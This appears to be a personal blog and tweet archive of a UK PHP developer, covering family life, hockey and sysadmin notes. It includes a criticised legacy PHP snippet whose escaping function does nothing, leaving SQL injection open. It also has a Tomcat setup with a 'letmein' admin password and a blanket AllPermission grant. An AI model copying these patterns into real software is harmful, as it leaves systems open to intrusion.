• A cache miss storm with WordPress and dotdeb.org’s config file overwriting led to a crap day for one website today.
  (2012/01/24, Bromsgrove, Worcestershire)
• Someone said I have a bad memory. I’m not sure who though.
  (2012/01/22, Bromsgrove, Worcestershire)
• Hockey: Bromsgrove 3xi 3:2 Old Sils. Another win ( cc @bromsgrovehc )
  (2012/01/21, Redditch, Worcestershire)
• RT @Oakley_J: Scrap metal dealers take note: The value of the metal in a pound coin is currently £1.08. #madeupstaturday
  (2012/01/21)
• “I want it to still be my birthday!” says Rowan.
  (2012/01/21, Bromsgrove, Worcestershire)
• “Thank you aunty candy “(@moreteadoctor ) t.co/42XbcU6Q
  (2012/01/20)
• Today I had to reboot my mouse to get ‘right click’ working again. *sigh*. #apple #magicMouse
  (2012/01/19)
• RT @AndrewBloch: The awkward moment when you break the law you proposed #StopSOPA t.co/7M3lXZUs
  (2012/01/18)
• I support #wikipediablackout! Show your support here t.co/SawEkEyn
  (2012/01/18)
• Grrrr, software update available for my telly (Sony Bravia) but it doesn’t seem to add Netflix support.
  (2012/01/16)
• Postfix > 2.6.0 I needed : always_add_missing_headers = yes
  to fix missing message-id fields… shouldn’t assume all email has a message-id!
  (2012/01/16)
• “Monsters” 1&2 are sound asleep, gently snoring. Now to look into that postfix problem for work.
  (2012/01/16, Bromsgrove, Worcestershire)
• RT @guardiantech: Toddlers get to grips with app design t.co/DOQBX1WE
  (2012/01/16)
• Lesson of the day: elephant seals are strong swimmers and you shouldn’t invite them into your octopod.
  (2012/01/15, Bromsgrove, Worcestershire)
• I’m wondering why so many people are walking down Bromsgrove high street when nothing is open.
  (2012/01/15, Bromsgrove, Worcestershire)
• Hockey: Bromsgrove 3rd xi 4:3 Pershore. (cc @BromsgroveHC )
  (2012/01/14, Wychavon, Worcestershire)
• RT @PalePurpleLtd: It’s amazing how rubbish Orange sales people are on the phone. “it’s out of stock… Phone back tomorrow!”. #LostSale
  (2012/01/13)
• Seven Trent’s website conveniently 404s when you click on “contact details”. That’s one way to stop people phoning you!
  (2012/01/13, Bromsgrove, Worcestershire)
• Evil Google – “Google, what were you thinking?” ← Mocality Kenya t.co/AzNPYJ3F via @mocality
  (2012/01/13)
• RT @PierreJoye: PHP 5.3.9 has been finally released! t.co/52GtIHgw Go update, now! t.co/IHlXLCch t.co/TNbRCEjV
  (2012/01/11)
• Trying to figure out why someone thought sticking QR codes around a high street to advertise to consumers was a good idea.
  (2012/01/10, Bromsgrove, Worcestershire)
• Ooh Bromsgrove has an electric vehicle charging point. Go us!
  (2012/01/10, Bromsgrove, Worcestershire)
• My hoover is really sucking after cleaning the filter. Now, if only I could banish Monday night’s insomnia….
  (2012/01/10, Bromsgrove, Worcestershire)
• RT @jasoncosta: “Web server software NGINX is now bigger than Microsoft IIS” t.co/tq3Trc38
  (2012/01/08)
• Why I’m not going to Bungee jump, ever. t.co/kxoTwzvO (ropes break).
  (2012/01/08)
• It seems my little princess no longer needs carrying down stairs. Soon I’ll be redundant.
  (2012/01/08, Bromsgrove, Worcestershire)
• How can a four year old be so bad at hiding? Still, it makes my afternoon somewhat easier…..
  (2012/01/08, Bromsgrove, Worcestershire)
• Bromsgrove 3xi 4:2(?) west brom. (friendly). Big thank-you to the stand ins – Nigel, Charlie, Graham & Lawrence (cc @BromsgroveHC ).
  (2012/01/07, Bromsgrove, Worcestershire)
• Today I’ve created a Gantt Chart with @ganttproject – so far so good. #FunPackedLife
  (2012/01/07)
• Have the humans delivered their ultimate cup of coffee? …. *ergh* FETID. How dare they present this to me? … Prepare the attack!
  (2012/01/07)
• Good morning octonauts.
  (2012/01/07, Bromsgrove, Worcestershire)
• It seems I wasn’t mistaken when I saw a car with a “real nappy cakes” advert on it the other day. Not my sort of cake.
  (2012/01/06, Bromsgrove, Worcestershire)
• This morning it seems that petrol stations are the place to have domestic disputes. Perhaps there’s something in the air.
  (2012/01/05, Bromsgrove, Worcestershire)
• RT @brucel: Facebook cited in over 2/3 of US divorce cases and 1/3 in the UK t.co/gcNZ5Yyj via @stoweboyd
  (2012/01/02)
• Eat all your dinner or the octopod goes away…..
  (2012/01/02, Bromsgrove, Worcestershire)
• Happy new year. Wishing you the best of health, wealth and happiness for 2012. (cue 101 SMS’s to ppl and one (cheap) message on twitter)
  (2011/12/31)
• Me: “we need to go into town to look for a present for grandma”
  Rowan: “can we get her an octopod like mine?”
  #octonautitis
  (2011/12/31)
• RT @snim2: Brilliant read – the state of UK trains: t.co/pbEYLG1N /via @pigworker
  (2011/12/31)
• Perl PHP python bash #code2011
  (2011/12/31)
• RT @deadprogram: What programming languages have you used this year? Tweet using #code2011. Please do it, and RT!
  (2011/12/31)
• Cheese: yummy. Bread: yummy. Cheese and bread together: yucky. #kids
  (2011/12/31)
• RT @vuokko: new year’s resolutions: 640 x 480, 800 x 600, 1024 x 768
  (2011/12/31)
• The Gup A loaded with treasure…. t.co/ffVflF1v
  (2011/12/31)
• I love my children – they pick up their chocolate coins, peel off the foil and force me to eat them.
  (2011/12/31)
• Sofa constructed. Now to find somewhere to dispose of the massive cardboard box.
  (2011/12/29)
• Ikea. It’s stressful.
  (2011/12/27)
• This morning’s run might be a bit slower than recent ones. #biscuits #cheese #turkey #chocolate etc.
  (2011/12/27)
• RT @anya_goodwin: The Gruffalo’s child is the best TV program ever. I can’t stop laughing and pointing!
  (2011/12/26)
• Q. What’s green and bounces around the garden?
  A. A spring onion.
  (2011/12/26, Bromsgrove, Worcestershire)
• Q. Why don’t elephants like penguins?
  A. They can’t get the wrappers off.
  (2011/12/26, Bromsgrove, Worcestershire)
• Lovefilm’s online streaming really is pants (rubbish selection). I’m glad I’m on a free trial. #DefinitelyCancelling
  (2011/12/25)
• Right now, at the North Pole, Santa is drinking this after a hard nights work. (Santa’s Swallie, via @myBrewerytap ) t.co/4WPjgcJK
  (2011/12/25, Bromsgrove, Worcestershire)
• It’ll soon be time to put on the new socks and jumper and ride around on the new bicycle. #somethingsDoNotChange.
  (2011/12/25, Bromsgrove, Worcestershire)
• RT @moreteadoctor: Mug, brain cell and MRSA. Is my brother hinting at something?
  (2011/12/25)
• RT @moreteadoctor: Thought I’d been given a lump of poo for Christmas, then I realised it was MRSA. How festive! t.co/mwS2lVAa
  (2011/12/25)
• Oooh. The Gruffalo’s Child is on BBC1 today. BBC++
  (2011/12/25, Bromsgrove, Worcestershire)
• Seeing as it’s a blizzard outside and I’ve got a marathon to walk today, I’d better fuel myself accordingly … chocolate for breakfast.
  (2011/12/25)
• Christmas – when it’s apparently acceptable to smell as if you’ve washed in mulled wine (thank you @MoreTeaDoctor)
  (2011/12/25)
• RT @neiltyson: According to the song, Rudolph’s nose is shiny, which means it reflects rather than emits light. Useless for navigating fog.
  (2011/12/25)
• Cheap ploy to wake someone up on Xmas morning – send a text saying it’s snowed. #snow #Xmas
  (2011/12/25, Bromsgrove, Worcestershire)
• Nom nom. Turrón for breakfast. #chocolate #pig
  (2011/12/24, Bromsgrove, Worcestershire)
• RT @StormySan: Hi think @thegingerdog‘s present didn’t turn out too badly t.co/9Q9XkkY7
  (2011/12/23)
• I think it’s time to arrange a GoKarting event for @PalePurpleLtd and some hangers on for early Jan 2012.
  (2011/12/23)
• Today is time to panic that you do not have enough presents to give; thankfully(!) Bromsgrove is crap for shopping so it’s too late to fix.
  (2011/12/23)
• RT @_Victoria_T: Urgently seeking #PHP #Developer for permanent position based in #West #Midlands please pass my details to anyone looki …
  (2011/12/23)
• RT @oziesimmons: Xerox is on a list of pro-SOPA corporations. Let the irony of that one sink in for a bit. #copythis
  (2011/12/23)
• DANGER – The supermarkets will soon be shut for ONE DAY! Remember to stock up on the essentials (chocolate, sweets, cheese, wine, nibbles).
  (2011/12/22)
• Now to preempt excessive eating by excessive exercise (10km+ run, Stourbridge rd). It’s a shame our customers for trying to fatten us up…
  (2011/12/22, Bromsgrove, Worcestershire)
• Hopefully the antibiotics will help @rowangoodwin feel somewhat better over xmas #earInfection #crossingFingersAndToes
  (2011/12/22)
• Only 16 new answer-phone messages on my mobile. Oops.
  (2011/12/20, Bromsgrove, Worcestershire)
• I think the chainsaw and pneumatic drill have succeeded in their evil quest. I am now awake.
  (2011/12/20, Bromsgrove, Worcestershire)
• Great karting with MrKarting (nr Leamington spa).
  I was 4th :-/ cold fingers and toes and tired wrists…. Thanks @ukscores
  (2011/12/19, Stratford-on-Avon, Warwickshire)
• It’s raining (lightly) and the roads are frozen. Weeeeeeeee….
  (2011/12/19, Bromsgrove, Worcestershire)
• Server migration complete. That seems to have taken up half of today. :-/
  (2011/12/19, Bromsgrove, Worcestershire)
• Excellent. Another @mybrewerytap box has arrived. Now, do I share it with my
  employees ….
  (2011/12/18, Bromsgrove, Worcestershire)
• Shortcut found to work. It’s now ~2 minutes walk away
  (2011/12/18, Bromsgrove, Worcestershire)
• “do you wont a window cleaner” … #Bromsgrove #fail t.co/9gOeXzkr
  (2011/12/18, Bromsgrove, Worcestershire)
• Get a free Xperia™ arc S for Christmas :: Anorak News t.co/wunx5MJu via @TheAnorak #competition
  (2011/12/18)
• It’s time for the country to grind to a halt. Killer snow pandemic !! t.co/eYo2Nay9
  (2011/12/16, Barnet, London)
• Today: spectrum, micro, kvstore and eclipse+xdebug (#BBC training). After a nearly 2 year break my brain has refound some useful memories.
  (2011/12/15, Barnet, London)
• I think if you’re running speed is only a little faster than my walking speed, then you’re doing something wrong.
  (2011/12/15)
• Why do I have trouble sleeping every Monday night ?
  (2011/12/13, Bromsgrove, Worcestershire)
• After seeing the weather alerts on BBC news I’m wondering if parking my car under a tree was the best idea … #NotSureWhereElseItCanGo.
  (2011/12/13, Bromsgrove, Worcestershire)
• Ooh. New release of wordpress (v3.3). It’ll be time to upgrade tomorrow. Thanks for the Xmas present @wordpress !
  (2011/12/13, Bromsgrove, Worcestershire)
• Jeez mobile internet is so slow without 3G. How did we survive on dialup? And in 10 years time what will we deem ‘horribly slow’ – 5mbit?
  (2011/12/13, Bromsgrove, Worcestershire)
• House move complete. It took ~5 hours.
  (2011/12/12, Bromsgrove, Worcestershire)
• RT @mikko: Oops. Maybe nobody will notice. t.co/QTXos25N
  /pic via @Forensication
  (2011/12/11)
• Oh, #NewTwitter… again…. meh.
  (2011/12/11)
• “Give blood. Play hockey”. Says the T-shirt I’ve won via @bromsgrovehc‘s raffle.
  (2011/12/11, Bromsgrove, Worcestershire)
• Bromsgrove iix 5-4 vs Kidderminster iix. (friendly). #hockey (cc @BromsgroveHC )
  (2011/12/10, Redditch, Worcestershire)
• Mutter mutter health and safety bollocks mutter mutter. (now to hope I don’t get injured on said icy pitch)
  (2011/12/10, Bromsgrove, Worcestershire)
• Typical! I’m back in Bromsgrove and get a phone call of “Kidderminster are pissed off re cancellation & want a friendly” Back to redditch…
  (2011/12/10, Bromsgrove, Worcestershire)
• Stupid all weather AstroTurf pitch is out of action due to frost. No hockey today #Bromsgrove
  (2011/12/10, Bromsgrove, Worcestershire)
• The christmas spirit has hit the office … And we have (or are) crackers. t.co/V7Oi3aI1
  (2011/12/09, Bromsgrove, Worcestershire)
• RT @tapbot_paul: To get back the DM tab in Twitter for iOS just swipe up, up, down, down, left, right, left, right, B, A.
  (2011/12/08)
• Octonauts Octopod – £47 quid on Amazon; Tesco online – £35. t.co/vvKMDvUR and t.co/Sz3Mnbw2 Bad Amazon. #SpoiltChildren
  (2011/12/08)
• 45 minutes in the oven at ~200′c is a bit much I guess. #fail #cooking t.co/E2Nzrnut
  (2011/12/08, Bromsgrove, Worcestershire)
• I <3 legacy PHP code (Sql Injection, magic quotes, sprintf etc) t.co/L8PYhbNW
  (2011/12/08)
• Bromsgrove’s shoppers have clearly realised that parking restrictions are not enforced in the coop / retail park car park. #nearlyFull #free
  (2011/12/08, Bromsgrove, Worcestershire)
• RT @schwuk: Stormtrooper Motorcycle Leathers – Awesome, but Scout Trooper leathers would have been perfect! t.co/xmSVD0pB
  (2011/12/07)
• I pickup keys to my new place on Monday – Here’s to hoping I still have a working phone line at home and BT/BeThere haven’t been over eager
  (2011/12/07)
• Sound the octo-alert vegimal style!
  (2011/12/06, Bromsgrove, Worcestershire)
• RT @rowangoodwin: SQUIRREL! Come back down!! t.co/JkHZN9iG
  (2011/12/04)
• RT @WPBhamUK: Next WordPress Birmingham meetup is Weds 7th December, Old Joint Stock, 6.30pm onwards. t.co/LJ7egP3y
  (2011/12/04)
• Ten pin bowling scores: Anya 110, me: 96, Rowan 89.
  (2011/12/04, Birmingham, Birmingham)
• Slowly learning to scroll “the right way” #lion ….
  (2011/12/03)
• Bromsgrove 3xi 1:5(?) Droitwich. ( cc @BromsgroveHC )
  (2011/12/03, Wychavon, Worcestershire)
• Using Solr for text searching with WordPress howto – for Debian Lenny – t.co/6sf56270 (tomcat5.5 + wordpress 3.x + Solr 3.4)
  (2011/11/30)
• RT @BromsgroveDC: Strike action: customer service centres are operating as normal. #bromsgrove
  (2011/11/30)
• I think I quite like Mockingbird for Wireframe designs/mockups. t.co/dKVfEeje
  (2011/11/29)
• Hopefully none of my websites are on this list – t.co/rWDjasPd
  (2011/11/29)
• RT @PalePurpleLtd: Our first android app for the mobile wearable watch – #imwatch – is complete.
  (2011/11/28)
• Now … What’s this about tram lady? Presumably a bit like cat bin woman?
  (2011/11/28, Bromsgrove, Worcestershire)
• I’m surprised they didn’t specify a LED telly, xbox 360 and a tumble drier too….
  (2011/11/28, Bromsgrove, Worcestershire)
• Today on Bromsgrove freecycle “…NEED SOFA, WASHING MACHINE,TABLE &
  CHAIRS,WARDROBES,TV & CABINET,COOKER, FRIDGE,FREEZER” #notAskingForMuch
  (2011/11/28, Bromsgrove, Worcestershire)
• RT @guardiantech: Computer lessons are out of date, admits government t.co/bF6TImhS
  (2011/11/28)
• In other news, today’s coffee was probably stronger than redbull etc. #buzzing #hyper
  (2011/11/28, Bromsgrove, Worcestershire)
• Yippee. @simplylets are the bestest letting agents eva!!1! #happy #movingBeforeXmas
  (2011/11/28, Bromsgrove, Worcestershire)
• The Life of a Software Engineer – t.co/6tftRG5c (“This time I will build a solid foundation … Oh, I’ve done it again haven’t I?”)
  (2011/11/27)
• Coo – just found out about sloppy backports – PostgreSQL 9.0 on Lenny “deb t.co/q2LR0a94 lenny-backports-sloppy main” #debian
  (2011/11/27)
• Bromsgrove 3xi 3:2 Evesham (cc @BromsgroveHC) #hockey
  (2011/11/26)
• RT @entrepreneurs4f: We are accepting applications for our next intake! Deadline 30th Nov, apply now to help launch your tech startup ht …
  (2011/11/25)
• Come on estate agent. Phone me back with good news. (hint hint @SimplyLets ).
  (2011/11/25, Bromsgrove, Worcestershire)
• Woke up and had a Nosebleed. I’ve not had one in ages. Hope this isn’t the first of many.
  (2011/11/25, Bromsgrove, Worcestershire)
• Forgetting the passphrase to my gpg encrypted password file isn’t my finest moment…. vim doc/passwords.asc … .oO( err.. oh crap )
  (2011/11/24)
• Alcohol soaked tampons, perhaps not the way forward. t.co/nXsld2so
  (2011/11/24)
• RT @bhamsouthpolice: Good morning and welcome to the 3rd Birmingham South Police 24 hour Tweet-a-thon!We are looking forward to tweeting …
  (2011/11/24)
• varnish++ (of the geeky variety, not the girly variety)
  (2011/11/24)
• Denial of Service, the old fashioned approach – coordinated posting of Xmas cards … Take that Royal Mail!
  (1999/02/16, Bromsgrove, Worcestershire)

rewrite_header Subject *****SPAM*****

directive in spamassassin (/etc/spamassassin/local.cf) seemed to be being ignored – and the only effect of the mail being classified as spam is/was a couple of additional headers added (X-Spam-Status: spam). For the customer in question this wasn’t of much use – as they’re reasonably non-technical and probably couldn’t create a client side mail filter. And they also thought the spamfiltering wasn’t working.

I found adding the following to /etc/exim4/system_filter results in the subject being appropriately modified :

if $h_X-Spam-Status: contains "spam"
then
    headers add "Old-Subject: $h_subject"
    headers remove "Subject"
    headers add "Subject: *** SPAM *** $h_old-subject"
    headers remove "Old-Subject"
endif

Seeing as how that took about 2 hours to figure out – hopefully this will be of use to others.

I started looking at SpamAssassin and wondering why IT wasn’t doing it… I still don’t know why – but assume it’s an Exim ‘feature’.

• My children (Rowan and Anya) are both growing up rather too quickly. Anya’s about 18 months old, walking and almost talking (‘tree’, ‘cat’, ‘that’, ‘tasty’, ‘mum’, ‘daddy’ and so on) while Rowan (~4) is busy playing/asking questions/learning to write/bashing things with hammers and so on. As far as we can tell they’re unaffected by Katherine and I splitting up. I’m lucky to be able to see them regularly (4 times a week) and usually ’good enough’ for hugs and cuddles after they fall over / chuck up or whatever depending on the star alignment or who ever told them off most recently…..
• Pale Purple (work) wise – everything’s going well, we’re busy, have plenty of work lined up over the next few months and there are a number of interesting projects almost ready to start. Over the last year there has been a distinct increase in the amount of development we’re doing in mobile applications – specifically towards Android and business apps (e.g. for a delivery driver to use to see what jobs they have to do – rather than the traditional Microsoft Windows CE based thing). PHP is still the main focus of the company with other supplementary bits (training, security audits, systems administration and so on). We took on an industrial year student this year – so there are currently five of us full time.
• I’ve moved house – so I no longer live in a one bedroom flat which was always cold [no central heating]. Now I’m in a 2 up, 2 down house like thing, so the children can have their own bedroom, or spread their toys over a wider area. Soon there will be a trip to Ikea and they’ll have a bunk bed and random other things no doubt.
• I still run / cycle / exercise – although not as much as I might like to. Mr Patch, the Jack Russell, went to live with my aunt at the beginning of the year (I think?!) – where he’s apparently behaving well, and has become somewhat wider; likewise his absence here is partly to blame for my weight gain – but conversely not having him makes looking after the children / work / jetting off to Spain (I can’t think why…) so much easier.

Sometimes you really have to laugh (or shoot yourself) when you come across legacy code / the mess some other developer(s) left behind. (Names slightly changed to protect the innocent)

class RocketShip {

    function rahrah() {
        $sql = "insert into foo (rah,rahrah,...)
            values ( '" . $this->escape_str($this->meh) . "', ...... )";
        mysqli_query($this->db_link, $sql) or
            die("ERROR: " . mysqli_error($this->db_link));
        $this->id = mysqli_insert_id($this->db_link);
    }

    function escape_str($str)
    {
        if(get_magic_quotes_gpc())
           { $str = stripslashes($str);}
        //echo $str;
        //$clean = mysqli_real_escape_string($this->db_link,$str);
        //echo $clean;
       return $str;
    }
// ....
    function something_else() {
         mysqli_query($this->db_link,
            sprintf("insert into fish(field1,field2) values('%s', '%s')",
            $this->escape_str($this->field1),
            $this->escape_str($this->field2));

    }
}

You’ve got to just love the :

1. Lack of Error handling / logging.
2. Functionality of the escape_str function which is only making matters worse (and could never have worked due to the variable names)
3. Use of sprintf  and %s ….(obviously %d could be useful)
4. Documentation?

Dare I uncomment the mysqi_real_escape_string and fix escape_str’s behaviour?

In other news, see this tweet – 84% of web apps are insecure; that’s a bit damning. But perhaps not surprising given code has a far longer lifespan than you expect….

Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can’t use it).

Install Tomcat (and Java)

apt-get install sun-java6-jre

Edit /etc/profile and set a JAVA_HOME – so add in something like :

# Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre

And then do :

. /etc/profile

So those settings are set / present within your environment (or logout and back in).

Next, install Tomcat :

apt-get install tomcat5.5

and then

apt-get install tomcat5.5-admin

Configure Tomcat

Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you’ll need to give the user a role of admin and manager.

e.g.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="manager"/>
  <role rolename="tomcat"/>
  <role rolename="admin"/>
  <role rolename="role1"/>
  <user username="palepurple" password="letmein" roles="admin,manager,tomcat"/>
</tomcat-users>

And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.

In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop – this is just to improve security.

Finally, it seems necessary to grant permission for Java to log to /var/log/tomcat5.5… .a dirty way of achieving this is to edit :

/etc/java-6-sun/security/java.policy

and add in (near the top)

grant {
	permission java.security.AllPermission;
};

(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it’s an acceptable fix; I’m sure Google can provide more eloquent fixes.).

Installing Solr

Download; unpack and install .war file :

cd /root

wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz

tar -zxf apache-solr-3.4.0.tgz

cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps

If you now restart Solr, you’ll find some log files and stuff of use in /var/log/tomcat5.5 – looking in the catalina log file there you’ll see it moaning about not finding solrconfig.xml and so on. To fix this -

cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/

And edit /etc/default/tomcat55 to contain :

export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"

This tells Solr where to find it’s configuration and so on.

Then edit :

/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included – so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) – part of the solrconfig.xml is below :

  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" />
  <!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" />

  <!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" />

Next create the data directory for solr to use :

mkdir /var/lib/tomcat5.5/solr/data

chown tomcat55 /var/lib/tomcat5.5/solr/data

And restart tomcat.

At this point you should be able to visit :

http://localhost:8180/apache-solr-3.4.0/admin/

If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log

WordPress stuff

cd /path/to/wordpress/wp-content/plugins

git clone https://github.com/mattweber/solr-for-wordpress.git

cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/

<<restart tomcat again; /etc/init.d/tomcat5.5. restart >>

Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you’re off.

1.  Enable plugin
2. Goto settings -> solr options -> select single server; tell it to use localhost, port 8180 and under the path ‘/apache-solr-3.4.0′
3.  Perform the ‘server ping’ check; and then tell WordPress you want to index your pages/posts etc as you see fit.

Anyway, I ran ‘netstat –tcp -lpn’ and saw something like the following :

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      3355/mysqld
tcp        0      0 0.0.0.0:54283           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1940/portmap

Now ‘mysqld’ looks OK – and portmap does (well, I need it on this box). But what on earth was listening on port 54283, and why is there no process name/pid attached to it?

After lots of rummaging, and paranoia where I thought perhaps the box had been rooted, I discovered it was from an NFS mount (which explains the lack of a pid, as it’s kernel based).

lsof -i tcp:54283

Didn’t help either. Unmounting the NFS filesystem did identify the problem – and the entry went away.

• Lets drop tablet PCs out of a ‘copter into villages, then come back 1 year later & see if they can read! t.co/m0GE34Io #olpc #wtf
  (2011/11/04)
• RT @ThePoke: WHSmith have pulled off a publishing coup t.co/cTQKuWwC
  (2011/11/03)
• Suggestions sought for something to assist internal code reviews (perhaps with workflow support?) keywords: git/svn/php/js/trac.
  (2011/11/03, Bromsgrove, Worcestershire)
• I managed to talk to my sister for 30 minutes. That’s almost a record.
  (2011/11/03, Bromsgrove, Worcestershire)
• That was very yummy sushi for lunch. Strange that the restaurant is pretty much hidden via a random grocery shop.
  (2011/11/03, Camden, London)
• Off to London. It’s almost as if there’s a conspiracy to stop me being at the office this week.
  (2011/11/03, Solihull, Solihull)
• Dear neighbours, while I’m not wanting to be judgemental, I really think your “Leigh-un” (18-24 mths?) should be asleep now. Kthxbai.
  (2011/11/02, Bromsgrove, Worcestershire)
• It’s too late to check if this “is the flight to Liverpool?” once you’re on the plane in spain and the doors are shut.
  (2011/11/01, Halton, Halton)
• Hello Liverpool. I see you greet me with rain.
  (2011/11/01, Halton, Halton)
• Goodbye Barcelona.
  (2011/11/01, Sant Pere de Ribes, Barcelona)
• Silly Spanish have TVs measured in inches. I wonder if the French do? I thought metric was the way forward and imperial was for us Anglos…
  (2011/10/28, Cornellà de Llobregat, Barcelona)
• RT @grifferz: ♺ @undunc: Do NOT attempt to answer this question t.co/NPHfgboX – your head will explode
  (2011/10/28)
• RT @OpenRightsGroup: Bytemark donating £3k a year hosting to ORG! Thank you t.co/k9A09UkX t.co/A8mKL0Qt
  (2011/10/28)
• Time to learn more about Apache solr. #pbc11.
  (2011/10/28, Cornellà de Llobregat, Barcelona)
• Nice to see a presentation using memegenerator.net #pbc11 and it’s sponsored my Microsoft.
  (2011/10/28, Cornellà de Llobregat, Barcelona)
• Yummy yummy. #pbc11 t.co/AXljCZog
  (2011/10/28, Cornellà de Llobregat, Barcelona)
• Stopping every ~25 mins is similar to some anti RSI techniques (forced breaks) (cc/@giorgiosironi) ubuntu has something which helps #pbc11
  (2011/10/28, Sant Joan Despí, Barcelona)
• Thanks @giorgiosironi – Pomodoro technique – Good slides/presentation. Interesting stuff. #pbc11
  (2011/10/28, Torrelles de Llobregat, Barcelona)
• Hola Barcelona.
  (2011/10/27, Santa Coloma de Cervelló, Barcelona)
• While waiting for easyjet to sort out the plane to Barcelona, it seems all my customers want to phone me. Great timing people!
  (2011/10/27, Liverpool, Liverpool)
• Well, the Richard Grey remix of Thriller was a mistake wasn’t it. #abp-80s
  (2011/10/27, Bromsgrove, Worcestershire)
• The RedCross must think I’m poor or stingy – they’ve sent me two free Xmas cards in the post. Still that’s my mother and sister sorted!
  (2011/10/26, Bromsgrove, Worcestershire)
• The work fridge has been literally filled with Aero yoghurts and chocolate cheesecakes. They fell out as I opened the door #diet #seefood
  (2011/10/26)
• Thanks for killing yourself Dovecot. Much appreciated. t.co/A3sCQii0
  (2011/10/26)
• Amazon have started to send me emails suggesting Thomas trains, Misty Islands, Diesel Steamworks and more. Peep-Peep-Peep.
  (2011/10/26)
• Looking at the @phpbarcelona conference schedule – it looks good!
  (2011/10/26, Bromsgrove, Worcestershire)
• Wondering why a customer has emailed saying : “…. is pretty urgent lol”.
  Should I reply dropping random ‘lol’s in?
  (2011/10/25)
• The sales droid listened to Nyancat for 3m+; I’ve just been sidetracked into wasting 20 minutes creating a Nyancat iphone ringtone :~\
  (2011/10/25)
• *ring ring*
  “Hi, it’s Tom from FedEx… doing a quick data cleanse, it won’t take long.”,
  “Yes, I’ll put you through”
  *Ext 106 Mr NYANCAT*
  (2011/10/25)
• RT @sussex_police: anyone planning to rise from the dead for Beach of the Dead tomorrow, make sure you respect the city in your hunt for …
  (2011/10/23)
• The Housman challenge. It involves shoes. #Bromsgrove
  (2011/10/22, Bromsgrove, Worcestershire)
• Bromsgrove 3xi vs Aldridge. 1:0 win (cc @BromsgroveHC)
  (2011/10/22, Walsall, Walsall)
• “Ilkley Black” is one of the best beers I’ve had all year; Thank you @mybrewerytap (see t.co/mGFu0M1m and t.co/0QFQEHUN )
  (2011/10/21)
• I <3 ack-grep, now I just need to figure out why WordPress isn’t allowing some image uploads when it /should/ god-damn-it
  (2011/10/21)
• RT @mishacollins: Someone Twitted a petition to outlaw crushing kittens to death. But it’s a slippery slope. Next might we lose our righ …
  (2011/10/21)
• The fix I need for my car glove compartment – t.co/E2bbhq2Y ( Thanks to @Aypok )
  (2011/10/21)
• Ended up buying two cheesy twist pastries in Coop for 20p – but I wanted chocolate ones. #fail #PastriesAreCheapAfter7pm.
  (2011/10/20, Bromsgrove, Worcestershire)
• How does mediatemple’s ve hosting pass PCI DSS compliance scans when cpanel on :4643 seems vulnerable (assuming all host servers are equal)
  (2011/10/20)
• Today I ordered an SSD drive to run our work virtual machines off. I’m fed up of waiting for the VMs (mostly windows) to “do stuff”.
  (2011/10/20)
• I think my son is picking up Lenny Henry’s accent from a Cbeebies online flash game (big and small).
  (2011/10/20, Bromsgrove, Worcestershire)
• Bicycle puncture problem solved – tyre is worn out. Stupid thin skinny thing … I miss my mountain bike.
  (2011/10/19)
• Recently on my local freecycle group: “In desperate need of a TV any size or make a flat screen model would be greatful” #sigh
  (2011/10/19)
• Stupid €$¥$ing bicycle has another flat rear tyre. I’m starting to think my rear wheel is dead. Grrrrr.
  (2011/10/19, Bromsgrove, Worcestershire)
• RT @tdmderrin: I’m hiring! Java & PHP Developer / Linux Server Admin at TDM Ltd – Dudley, United Kingdom #jobs t.co/iXY5ikQH
  (2011/10/19)
• Going back to the retrospective NDA – they spelt their company name incorrectly… *sigh*.
  (2011/10/18)
• “Now you’ve done some work for us, could you sign an NDA please?”
  Horse. Stable. Door. Shut.
  (2011/10/18)
• RT @PalePurpleLtd: It’s free beer day ! (thanks @mybrewerytap – selection looks great!) t.co/Q4XeOdeZ
  (2011/10/18)
• My son has been nagging me to tidy up! #TheWormHasTurned.
  (2011/10/17, Bromsgrove, Worcestershire)
• RT @guardiantech: BlackBerry users in line for $100 worth of free apps in compensation t.co/qKlNoAWk
  (2011/10/17)
• Ordered some new balls for Screwball Scramble; only £3 inc postage – bargain – thank you @TomyToys !
  (2011/10/17)
• “I’m ill…. Trains? Did you say Trains?…. Yes please!!!!” t.co/8HHELEqS
  (2011/10/17, Bromsgrove, Worcestershire)
• RT @Pewari: Mind you, Siri just offered to remind me that @akrabat is my husband. I hadn’t realised our relationship was that bad…
  (2011/10/15)
